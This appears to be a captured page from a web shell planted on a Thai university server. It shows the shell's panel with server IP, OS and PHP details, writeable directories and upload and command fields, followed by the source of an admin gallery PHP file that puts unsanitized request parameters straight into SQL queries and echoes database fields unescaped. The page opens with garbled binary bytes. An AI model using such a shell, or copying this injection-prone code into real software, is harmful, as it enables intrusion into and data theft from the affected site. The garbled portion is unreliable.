h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/igallery/admin/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/igallery/admin/pages/gallery_detail-20250124.php
<?php include 'check_mode_admin.php';?>
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>
<?php
if (check_mode_admin_session(1,1)) {
?>
<?php
	$pagetitle_text = "ข้อมูลกิจกรรม";
	$gallery_id = $_GET["id"];	
	if(isset($_GET["Page"]))
	{
		$page = $_GET["Page"];
	}
	else
	{
		$page = 1;
	}
	$sql = "SELECT * from gallery";
	$sql .= " WHERE gallery_id=" . $gallery_id;
	$query = mysqli_query($conn,$sql);	
	if($result=mysqli_fetch_array($query,MYSQLI_ASSOC))	
	{
		$gallery_name = $result["gallery_name"];
		$gallery_name_eng = $result["gallery_name_eng"];
		$gallery_detail = $result["gallery_detail"];
		$gallery_detail_eng = $result["gallery_detail_eng"];
		$gallery_date = $result["gallery_date"];
?>		  
                        <h1 class="page-header"><?php echo $pagetitle_text;?></h1>
						<h3><?php echo $gallery_name;?>
<?php
		if ($result["gallery_url"]=="") {
			$gallery_url = "https://arit.skru.ac.th/arit/igallery/image_view.php?id=" . $result["gallery_id"];
?>
				&nbsp;&nbsp;&nbsp;<a href="<?php echo $gallery_url;?>" target="_blank"><i class="fa fa-file-image-o" aria-hidden="true" style="color:#009999;"></i></a>
<?php
		} else {
			$gallery_url = $result["gallery_url"];
?>
				&nbsp;&nbsp;&nbsp;<a href="<?php echo $gallery_url;?>" target="_blank"><i class="fa fa-picture-o" aria-hidden="true" style="color:#0033CC;"></i></a>
<?php			
		}	
?>							
						</h3>
						<h3><?php echo $gallery_name_eng;?></h3>
						<p><font color="green">ประเภทกิจกรรม : 
<?php
		$sql2 = "SELECT * from exhibition_type";
		$sql2 .= " WHERE exhibition_type_id =" . $result["exhibition_type_id"];
		$query2 = mysqli_query($conn,$sql2);
		if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
		{
			echo $result2["exhibition_type_name"];
		}
		else
		{
			echo "ไม่ปรากฏประเภทกิจกรรม";
		}
?>							
						</font></p>
						<p>รายละเอียด : <?php echo $gallery_detail;?></p>
						<p>รายละเอียดภาษาอังกฤษ : <?php echo $gallery_detail_eng;?></p>
						<p>วันที่ : <?php echo $gallery_date;?></p>
						<p>URL : <a href="<?php echo $gallery_url;?>" target="_blank"><?php echo $gallery_url;?></a></p>
						<p>
							<a href="gallery_detail_edit.php?id=<?php echo $gallery_id;?>&Page=<?php echo $page;?>"><button type="button" class="btn btn-success">แก้ไขข้อมูลกิจกรรม</button></a>
							&nbsp;&nbsp;&nbsp;<a href="gallery_detail_delete.php?id=<?php echo $gallery_id;?>"><button type="button" class="btn btn-danger">ลบกิจกรรมนี้</button></a>
						</p>
						<hr>
						<p>
							<form action="upload_file.php" role="form" method="post" enctype="multipart/form-data" name="form1" id="form1">
                                        <div class="form-group">
                                            <label>อัพโหลดภาพ <font color="#009900">(กรุณาเลือกไฟล์นามสกุล png, jpg, jpeg)</font></label>
                                            <!--<input type="file">-->
											<input type="file" name="filUpload[]" id="filUpload" multiple="multiple">
										</div>							
										<!--<button type="submit" class="btn btn-info">อัพโหลดภาพ</button>	-->
					                    <div class="form-group">
											<input name="submit" type="submit" id="submit" value="อัพโหลดภาพ" class="btn btn-info">
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<input name="id" type="hidden" value="<?php echo $gallery_id;?>" />
                                        </div>											  																
							</form>
						</p>						
<?php
	$sql = "SELECT * from gallery_image";
	$sql .= " WHERE gallery_id=" . $gallery_id;
	$sql .= " ORDER BY image_order ASC";

	$query = mysqli_query($conn,$sql);

	$num_rows = mysqli_num_rows($query);

	$per_page = 20;   // Per Page
	$page  = 1;
	
	if(isset($_GET["Page"]))
	{
		$page = $_GET["Page"];
	}

	$prev_page = $page-1;
	$next_page = $page+1;

	$row_start = (($per_page*$page)-$per_page);
	if($num_rows<=$per_page)
	{
		$num_pages =1;
	}
	else if(($num_rows % $per_page)==0)
	{
		$num_pages =($num_rows/$per_page) ;
	}
	else
	{
		$num_pages =($num_rows/$per_page)+1;
		$num_pages = (int)$num_pages;
	}

	$row_end = $per_page;
	//$row_end = $per_page * $page;
	//if($row_end > $num_rows)
	//{
	//	$row_end = $num_rows;
	//}


	$sql .= " LIMIT $row_start ,$row_end";
	$query = mysqli_query($conn,$sql);
	$current_column = 1;
?>
                                <table class="table table-striped table-bordered table-hover">
                                <tbody>
<?php
while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
{
	if ($current_column==1)
	{
		
?>
								<tr>
<?php	
	}
	$gallery_detail_url = "gallery_detail.php?id=" . $gallery_id;
	if ($page<>"")
	{
		$gallery_detail_url .= "&Page=" . $page;
	}
	$image_file = "../../image_gallery/" . $gallery_id . "/" . $result["image_file"];
?>									
										<td align="center">
											<a href="<?php echo $image_file;?>"><img src="<?php echo $image_file;?>" width="300"/></a>
											<BR />
<?php
		if ($result["is_cover_image"]==1)
		{	
?>											
											<a href="#" class="fa fa-star" title="ภาพปก"></a>&nbsp;&nbsp;
<?php
		}
		else
		{
?>
											<a href="set_cover_image.php?id=<?php echo $gallery_id;?>&image_id=<?php echo $result["image_id"];?>&Page=<?php echo $page;?>" class="fa fa-star-o" title="ตั้งเป็นภาพปก"></a>&nbsp;&nbsp;
<?php	
		}
?>
											<a href="image_delete.php?id=<?php echo $gallery_id;?>&image_id=<?php echo $result["image_id"];?>&Page=<?php echo $page;?>" class="glyphicon glyphicon-remove" title="ลบภาพ">ลบภาพ</a>
										</td>
<?php
	if ($current_column==4)
	{
		$current_column = 1;
?>
	                            </tr>
<?php		
	}
	else
	{
		$current_column = $current_column+1;
	}
}
if ($current_column==2)
{
	echo "<td>&nbsp;</td>";
	echo "<td>&nbsp;</td>";
	echo "<td>&nbsp;</td>";
	echo "</tr>";		
}
else if ($current_column==3)
{
	echo "<td>&nbsp;</td>";
	echo "<td>&nbsp;</td>";
	echo "</tr>";		
}
else if ($current_column==4)
{
	echo "<td>&nbsp;</td>";
	echo "</tr>";		
}

?>									
                                </tbody>
                            </table>
                            <!-- /.table-responsive -->

<br>
Total <?php echo $num_rows;?> Image : <?php echo $num_pages;?> Page :
<?php
if($prev_page)
{
	echo " <a href='$_SERVER[SCRIPT_NAME]?id=$gallery_id&Page=$prev_page&txtKeyword=$strKeyword'><< Back</a> ";
}

for($i=1; $i<=$num_pages; $i++){
	if($i != $page)
	{
		echo "[ <a href='$_SERVER[SCRIPT_NAME]?id=$gallery_id&Page=$i&txtKeyword=$strKeyword'>$i</a> ]";
	}
	else
	{
		echo "<b> $i </b>";
	}
}
if($page!=$num_pages)
{
	echo " <a href ='$_SERVER[SCRIPT_NAME]?id=$gallery_id&Page=$next_page&txtKeyword=$strKeyword'>Next>></a> ";
}							
?>
<BR><BR><BR>
<?php
	}
	else
	{
		echo "ไม่พบข้อมูล";
	}
?>
<?php
} //if(check_mode_admin_session(1,1)) {
?>
<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit